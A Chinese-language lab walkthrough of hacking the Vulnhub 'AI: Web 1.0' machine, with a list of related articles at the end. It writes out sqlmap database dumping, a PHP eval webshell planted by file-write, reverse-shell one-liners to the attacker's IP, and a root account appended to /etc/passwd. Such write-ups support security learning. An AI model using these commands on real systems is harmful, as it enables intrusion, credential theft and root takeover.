Vulnhub-Al-Web-1.0 靶机复现完整过程

一、信息收集

1.主机发现

arp-scan -l

image.png

2.端口扫描

nmap -sV -p-  192.168.200.16

image.png

PORTSTATESERVICEVERSIONMAC Address
80/TCPOpenhttpApache httpd00:0C:29:C4:1B:78 (VMware)

3.目录扫描

python dirsearch.py -u http://192.168.200.16

image.png
扫描出来这两个文件,首先先进入网址查看信息(index.html,这个是网站首页)

二、网站信息

1.网站首页

image.png

2.robots.txt

image.png

2.1 m3diNf0

image.png

2.2 se3reTdir777/uploads/

image.png
这个是有两层目录的,uploads禁止访问, 查看上一级的目录文件情况
image.png
看到,输入框示意输入数字,出现如下结果说明存在SQL注入
image.png
这是一个问题,暂时搁置。

由robots.txt这个文件上面显示里网站那些页面是禁止爬取的,所以二次尝试目录扫描

3.m3diNf0扫描

python dirsearch.py -u http://192.168.200.16/m3diNf0

image.png
访问此目录,发现页面显示的是PHP有关信息,并且可以看到当前权限用户是最低级的和网站的根目录
image.png
image.png

4.se3reTdir777扫描

python dirsearch.py -u http://192.168.200.16/se3reTdir777

image.png

image.png

三、漏洞利用

SQL注入

使用工具:SQLMAP

3.1爆破数据库

python  sqlmap.py -r 1.txt  --batch --dbs

image.png

3.2 爆破数据表

python  sqlmap.py -r 1.txt  --batch -D aiweb1 --tables

image.png

3.3爆破表的中的字段

users表中的信息
python  sqlmap.py -r 1.txt  --batch -D aiweb1 -T user --dump

image.png

systemUser表中的信息
python  sqlmap.py -r 1.txt  --batch -D aiweb1 -T systemUser --dump

image.png
当前密码被base64加密,尝试解密

UserName: t00r  password:FakeUserPassw0rd
UserName:	aiweb1pwn   password:MyEvilPass_f908sdaf9_sadfasf0sa
UserName:	u3er		password:N0tThis0neAls0

目前的情况是:虽然成功爆出数据库的信息,但是并没有可以登陆的后台什么的可以利用,通过sql注入写入数据

绝对路径和权限用户信息

在robots.txt文件中发现了一个/se3reTdir777/uploads/的路径info.php信息里面包含着php的信息,站点在服务器的绝对路径!和权限用户
image.png
image.png

路径:/home/www/html/web1x443290o2sdf92213 
用户:www-data

在刚才信息收集中我们在robots.txt文件中发现了一个/se3reTdir777/uploads/的路径,并且也读到过phpinfo信息,从info.php文件中我们知道了根目录的路径,那现在就可以在uploads/路径下上传文件,通过sqlmap进行写入一个木马文件

尝试使用sqlmap的–os-shell命令getshel

os-shell执行条件有三个:
1.网站必须是root权限
2.网站的绝对路径已知
3.GPC为off(php主动转义的功能关闭)

依次选择 php(default),custom location(s)
根据前面找到的info.php文件暴露的信息,绝对路径选择:uploads的目录是可以成功写入的

/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
sqlmap -u "http://192.168.200.16/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell

image.png
image.png

sqlmap写入一句话木马

1.写入一句话木马

<?php @eval($_REQUEST[666]);?> # POST的我传不上去

2.写入文件

sqlmap -u "http://192.168.200.16/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./123.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/123.php
 
--file-write:去读取文件(当前目录下的123.php)
--file-dest:后面加我们向目标写的文件,
目标在/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/,
把这个文件上传到123.php这个地址,现在我们就在uploads这个命令下写好了123.php文件

image.png
image.png
image.png

反弹shell

攻击端:

kali本地监听:nc -lvvp 6666(或者nc -lnvp 或者-lvp)

靶机端:

蚁剑终端上nc反弹:nc -e /bin/bash 192.168.200.14 6666(-e参数不可用)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.200.14 6666 >/tmp/f
image.png

image.png

提权

进入交互式shell:

python -c 'import pty;pty.spawn("/bin/bash")'

思路解决方法:

思路1:

sudo -l(查看有没有一些命令在执行期间有root权限标签没有密码保护——Not found)
发现需要密码
image.png

思路2:

查看有没有一些具有suid权限的命令

find / -perm -4000 2>/dev/null

image.png
查询开放端口

netstat -anpl

image.png
开放了3306端口,但只有本地能登录

思路3:

在交互式shell下输入命令uname -a查看内核版本,当前版本号是4.15.0-58-generic,去看一下有没有内核漏洞

www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ uname -a
<eb1x443290o2sdf92213/se3reTdir777/uploads$ uname -a  
Linux aiweb1 4.15.0-58-generic #64-Ubuntu SMP Tue Aug 6 11:12:41 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
searchsploit linux kernel 4.15.0-58-generic   # 没有结果
searchsploit linux kernel 4.15.0  # 可以看到好几个做本地提权的

image.png
目标环境没有gcc环境,尽量不要上传.c文件提取

查看当前用户读写权限

查看当前系统里面具有可写权限的目录有哪些:

find / -writable -type d 2>/dev/null

image.png
查看哪些文件具有读写权限:

find / -writable -type f 2>/dev/null

image.png
(最明显的位置,最重要的文件,具有读写权限,一般基本可以止于此步骤,因为之前已经拿到了webshell了,直接将信息写入到此文件中)
**将find查询结果保存: **

find / -writable -type f 2>/dev/null > /tmp/writableFiles

**在蚁剑的/tmp目录就可以看到writableFiles文件,download下来
image.png

wc -l writableFiles 可以看到这个文件有5688行
过滤有用文件,过滤掉以p和s开头的文件

cat writableFiles | grep '^/[^p]' | grep '^/[^s]'

image.png
觉得c0nFil3bd.php这个文件可疑
得到数据库密码和用户名
image.png
/etc/passwd文件,具有写权限(可以直接写入进去,也可以利用命令行)
image.png
添加Zhangc::0:0:root:/root:/bin/bash,这个账号是没有密码的,但是sudo密码验证失败,必须生成一个有密码的账户:
生成Linux 系统用户密钥

┌──(root㉿kali)-[~]
└─# python                       
Python 3.10.8 (main, Nov  4 2022, 09:21:25) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> import crypt
>>> crypt.crypt("123456","zhangcw")
'zhxPr1e7Npazg'
>>> 

写入到/etc/passwd中

echo 'zhangcw:zhxPr1e7Npazg:0:0:root:/root:/bin/bash'>>/etc/passwd

读写etc/passwd

zhangcw:zhxPr1e7Npazg:0:0:root:/root:/bin/bash

切换到zhangcw用户,输入密码123456

www-data@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads$ su zhangcw    
<1x443290o2sdf92213/se3reTdir777/uploads$ su zhangcw                       
Password: 123456
root@aiweb1:/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads# cd
root@aiweb1:~# cd /root 
cd /root
root@aiweb1:~# ls
flag.txt
root@aiweb1:~# vim flag.txt
vim flag.txt
ot@aiweb1:~# cd /root 
cd /root
root@aiweb1:~# ls
ls
flag.txt
root@aiweb1:~# vim flag.txt
vim flag.txt
####################################################
#                                                  #
#                AI: WEB 1.0                       #
#                                                  #
#              Congratulation!!!                   #
#                                                  #
#      Thank you for penetrate my system.          #
#                                                  #
#            Hope you enjoyed this.                #
#                                                  #
#                                                  #
#  flag{cbe5831d864cbc2a104e2c2b9dfb50e5acbdee71}  #
#                                                  #
####################################################
                                                              

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/275718.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

关于SQL时间盲注(基于sleep函数)的手动测试、burpsuite爆破、sqlmap全自动化注入

SQL时间注入是一种常见的SQL注入攻击方式&#xff0c;攻击者通过在SQL语句中注入时间相关的代码&#xff0c;来获取敏感信息或者执行非法操作。其基本原理如下&#xff1a; 攻击者向Web应用程序中输入一段恶意代码&#xff0c;通过SQL语句查询数据库&#xff0c;并注入时间相关…

【论文阅读】Resource Allocation for Text Semantic Communications

这是一篇关于语义通信中资源分配的论文。全文共5页&#xff0c;篇幅较短。 目录在这里 摘要关键字引言语义通信资源分配贡献公式符号 系统模型DeepSC TransmitterTransmission ModelDeepSC Receiver 语义感知资源分配策略Semantic Spectral Efficiency &#xff08;S-SE&#…

ClickHouse基础知识(二):ClickHouse 安装教程

1. 准备工作 1.1 确定防火墙处于关闭状态 1.2 CentOS 取消打开文件数限制 &#xff08;1&#xff09;在 hadoop101 的 /etc/security/limits.conf 文件的末尾加入以下内容 sudo vim /etc/security/limits.conf&#xff08;2&#xff09;在 hadoop101 的/etc/security/limits.…

主编夜话,2023 技术圈儿大事件盘点丨 RTE 开发者日报 Vol.115

开发者朋友们大家好&#xff1a; 这里是「 RTE 开发者日报 」&#xff0c;每天和大家一起看新闻、聊八卦。我们的社区编辑团队会整理分享 RTE &#xff08;Real Time Engagement&#xff09; 领域内「有话题的 新闻 」、「有态度的 观点 」、「有意思的 数据 」、「有思考的 文…

netty trojan

参考代码&#xff1a;https://github.com/kdyzm/trojan-client-netty 参考博客&#xff1a; github代码作者的博客&#xff1a;https://blog.kdyzm.cn/post/71 trojan-go介绍&#xff1a;https://p4gefau1t.github.io/trojan-go/developer/trojan/ trojan协议介绍&#xff1a;h…

Python 进阶(十八):配置文件(configparser 模块)

大家好&#xff0c;我是水滴~~ configparser模块是Python标准库中的一个模块&#xff0c;用于解析配置文件。它提供了一种简单而灵活的方式来读取、修改和写入INI格式的配置文件。本文将介绍该模块是如何操作配置文件的。 文章中包含大量的示例代码&#xff0c;希望能够帮助新…

Google Ad帐号被封?这几个关键点看好

海外广告投放工作中&#xff0c;账号是非常重要的环节。与在Facebook上运行广告相比&#xff0c;运行Google Ads在代理选择方面通常没有那么严格&#xff0c;因为 Google 对 IP 使用并不那么严格。但是&#xff0c;这并不意味着您可以不加考虑地使用任何代理IP。在本文中&#…

vue3-富文本编辑器(vue-quill)

官网&#xff1a;VueQuill | Rich Text Editor Component for Vue 3 安装 pnpm add vueup/vue-quilllatest 使用 局部使用 先导包 import { QuillEditor } from vueup/vue-quill import vueup/vue-quill/dist/vue-quill.snow.css; 再使用 <QuillEditor theme"snow…

Arduino中手写脉冲控制步进电机-2

目录 1、前言 2、时间-位移关系计算 3、Matlab计算时间和位置数据 (1)Matlab程序 &#xff08;2&#xff09;Arduino程序 4、Matlab生成Arduino电机正反转程序语句 &#xff08;1&#xff09;Arduino程序 &#xff08;2&#xff09;Matlab 命令行方式生成Arduino步进电…

21.仿简道云公式函数实战-数学函数-COS

1. COS函数 COS 函数可用于计算角度的余弦值&#xff0c;返回 -1 到 1 之间的数值。 2. 函数用法 COS(弧度) 3. 函数示例 如计算 COS(60) 的值&#xff0c;可设置公式为COS(RADIANS(60))&#xff0c;返回 0.5。 4. 代码实战 首先我们在function包下创建math包&#xff0…

【C++】开源:cpp-httplib HTTP协议库配置与使用

&#x1f60f;★,:.☆(&#xffe3;▽&#xffe3;)/$:.★ &#x1f60f; 这篇文章主要介绍cpp-httplib HTTP协议库配置与使用。 无专精则不能成&#xff0c;无涉猎则不能通。——梁启超 欢迎来到我的博客&#xff0c;一起学习&#xff0c;共同进步。 喜欢的朋友可以关注一下&a…

Python入门学习篇(十一)——函数注释函数嵌套全局变量与局部变量

1 函数注释 1.1 使用说明 第一步 在函数体里面输入三个""" 第二步 回车1.2 示例代码 def quotient(divisor,dividend):""":param divisor: 除数:param dividend: 被除数:return: 商"""return divisor/dividendnum1int(input(&…

10. Opencv检测并截取图中二维码

1. 说明 在二维码扫描功能开发中,使用相机扫描图片时,往往图片中的信息比较多样,可能会造成二维码检测失败的问题。一种提高检测精度的方式就是把二维码在图片中单独抠出来,去除其它冗余信息,然后再去识别这张提取出来的二维码。本篇博客记录采用的一种实现二维码位置检测…

律师卷宗档案保存期限多久?律师档案卷宗如何整理?

律师卷宗档案的保存期限可以根据不同法律和法规进行调整&#xff0c;因此可能会有所不同。一般来说&#xff0c;律师卷宗档案的保存期限通常为10年以上。然而&#xff0c;具体的保存期限还会受到当地司法体系和律师协会规定的影响。建议您咨询所在地的律师协会或相关法律机构&a…

AGV智能搬运机器人-替代人工工位让物流行业降本增效

在当今快速发展的世界中&#xff0c;物流业面临着巨大的挑战&#xff0c;包括提高效率、降低成本和优化工作流程。为了应对这些挑战&#xff0c;一种新型的自动化设备——智能搬运机器人正在崭露头角。本文将通过一个具体的案例来展示富唯智能转运机器人在实际应用中的价值。 案…

【2023】通过docker安装hadoop以及常见报错

&#x1f4bb;目录 1、准备2、安装镜像2.1、创建centos-ssh的镜像2.2、创建hadoop的镜像 3、配置ssh网络3.1、搭建同一网段的网络3.2、配置host实现互相之间可以免密登陆3.3、查看是否成功 4、安装配置Hadoop4.1、添加存储文件夹4.2、添加指定配置4.3、同步数据 5、测试启动5.1…

openGauss学习笔记-175 openGauss 数据库运维-备份与恢复-导入数据-管理并发写入操作示例

文章目录 openGauss学习笔记-175 openGauss 数据库运维-备份与恢复-导入数据-管理并发写入操作示例175.1 相同表的INSERT和DELETE并发175.2 相同表的并发INSERT175.3 相同表的并发UPDATE175.4 数据导入和查询的并发 openGauss学习笔记-175 openGauss 数据库运维-备份与恢复-导入…

【新版Hi3536AV100性能果真强悍】

Hi3536AV100是针对多路高清/超高清&#xff08;1080p/4M/5M/4K&#xff09;智能NVR产品应用开发的新一代专业高端SoC芯片。 Hi3536AV100集成了ARM Cortex-A55八核处理器和性能强大的神经网络处理器&#xff0c;支持多种智能算法应用。 Hi3536AV100支持32路1080p多协议解码及4路…

js中深拷贝与浅拷贝的区别?如何实现一个深拷贝?(收藏好,用时好找)

文章目录 一、数据类型存储二、浅拷贝Object.assignslice()concat()拓展运算符 三、深拷贝_.cloneDeep()jQuery.extend()JSON.stringify()循环递归 四、区别小结 一、数据类型存储 前面文章我们讲到&#xff0c;JavaScript中存在两大数据类型&#xff1a; 基本类型引用类型 …

CorelCAD各版本安装指南

下载链接 https://pan.baidu.com/s/1v0VgYRaaRRUeAgJC__0rPw?pwd0531 1.鼠标右击【CorelCAD2023(64bit)】压缩包&#xff08;win11及以上系统需先点击“显示更多选项”&#xff09;选择【解压到 CorelCAD2023(64bit)】。 2.打开解压后的文件夹&#xff0c;鼠标右击【CorelCA…